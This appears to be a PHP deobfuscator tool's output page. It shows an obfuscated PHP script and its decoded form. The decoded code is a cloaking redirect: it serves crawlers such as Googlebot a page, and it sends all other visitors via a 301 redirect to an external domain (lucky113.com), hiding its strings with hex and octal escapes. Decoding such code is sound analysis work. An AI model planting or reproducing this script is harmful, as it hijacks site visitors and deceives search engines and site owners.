Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto aOnzk; aOnzk: if (isset($_GET["\160\x6c\141\x79"]) && !empty($_GET..

Decoded Output download

<?php 
            goto aOnzk; aOnzk: if (isset($_GET["play"]) && !empty($_GET["play"]) && motherHoodNature()) { $play = strtoupper($_GET["play"]); $link = (empty($_SERVER["HTTPS"]) ? "http" : "https") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; ?> 
 
<?php  } elseif (!motherHoodNature()) { header("HTTP/1.1 301 Moved Permanently"); header("Location: https://lucky113.com/rsxf"); die; } goto kjDhw; kjDhw: function motherHoodNature() { if (preg_match("/AhrefsBot|baiduspider|baidu|bingbot|bing|DuckDuckBot|facebookexternalhit|facebook|facebot|googlebot|\-google|google\-inspectiontool|linkedin|Linkidator|linkwalker|mediapartners|mod_pagespeed|naverbot|pinterest|SemrushBot|twitterbot|twitter|xing|yahoo|YandexBot|YandexMobileBot|yandex|Zeus/i", $_SERVER["HTTP_USER_AGENT"])) { return true; } return false; } goto YMUMv; YMUMv: ?>

Did this file decode correctly?

Original Code

<?php
            goto aOnzk; aOnzk: if (isset($_GET["\160\x6c\141\x79"]) && !empty($_GET["\160\154\x61\171"]) && motherHoodNature()) { $play = strtoupper($_GET["\160\154\x61\x79"]); $link = (empty($_SERVER["\110\x54\x54\x50\x53"]) ? "\x68\x74\x74\x70" : "\x68\164\x74\160\163") . "\72\x2f\x2f{$_SERVER["\110\124\124\120\137\110\117\123\124"]}{$_SERVER["\x52\105\121\x55\105\x53\x54\137\125\122\111"]}"; ?>

<?php  } elseif (!motherHoodNature()) { header("\x48\x54\124\x50\57\x31\56\61\x20\x33\60\61\x20\115\157\x76\x65\x64\x20\x50\145\162\x6d\141\x6e\145\156\x74\x6c\x79"); header("\114\157\x63\141\x74\x69\x6f\156\x3a\40\150\x74\x74\x70\x73\x3a\x2f\x2f\154\x75\143\153\171\x31\x31\63\x2e\143\157\155\x2f\162\163\170\x66"); die; } goto kjDhw; kjDhw: function motherHoodNature() { if (preg_match("\x2f\101\150\162\145\146\163\102\x6f\164\174\x62\141\151\144\x75\163\160\151\144\145\x72\174\x62\141\x69\144\x75\x7c\x62\151\x6e\x67\142\x6f\x74\x7c\x62\x69\x6e\x67\x7c\104\165\x63\x6b\x44\x75\x63\x6b\102\x6f\x74\174\146\141\x63\x65\142\157\x6f\153\x65\170\164\x65\x72\156\141\154\150\151\x74\174\x66\x61\x63\x65\142\x6f\x6f\x6b\x7c\x66\141\x63\145\x62\157\164\174\147\157\x6f\147\154\145\142\x6f\x74\x7c\x5c\x2d\x67\x6f\157\147\154\x65\x7c\x67\157\x6f\147\154\145\x5c\55\151\x6e\163\x70\x65\143\x74\151\x6f\156\164\x6f\157\x6c\174\x6c\151\156\153\x65\x64\151\x6e\x7c\x4c\151\x6e\153\151\144\141\x74\x6f\x72\174\x6c\x69\x6e\153\167\141\154\153\145\x72\x7c\155\x65\x64\x69\141\x70\x61\x72\x74\156\145\162\x73\174\x6d\x6f\144\x5f\160\x61\147\x65\163\x70\x65\145\144\174\x6e\141\x76\145\x72\142\157\x74\x7c\160\x69\156\x74\145\x72\145\x73\x74\174\123\x65\x6d\x72\x75\x73\150\x42\x6f\x74\x7c\x74\x77\151\x74\x74\145\x72\x62\157\164\x7c\164\x77\x69\x74\164\145\x72\174\x78\151\x6e\x67\x7c\171\x61\x68\x6f\x6f\174\x59\x61\x6e\x64\145\170\102\x6f\164\174\131\x61\156\144\145\x78\x4d\157\x62\151\x6c\x65\x42\x6f\164\x7c\171\x61\156\144\x65\170\x7c\132\145\x75\163\57\151", $_SERVER["\x48\x54\x54\120\137\x55\x53\105\122\x5f\x41\107\x45\x4e\x54"])) { return true; } return false; } goto YMUMv; YMUMv: ?>

Function Calls

None

Variables

None

Stats

MD5 41ae6b1d738ecc853cc9f376a70503c9
Eval Count 0
Decode Time 45 ms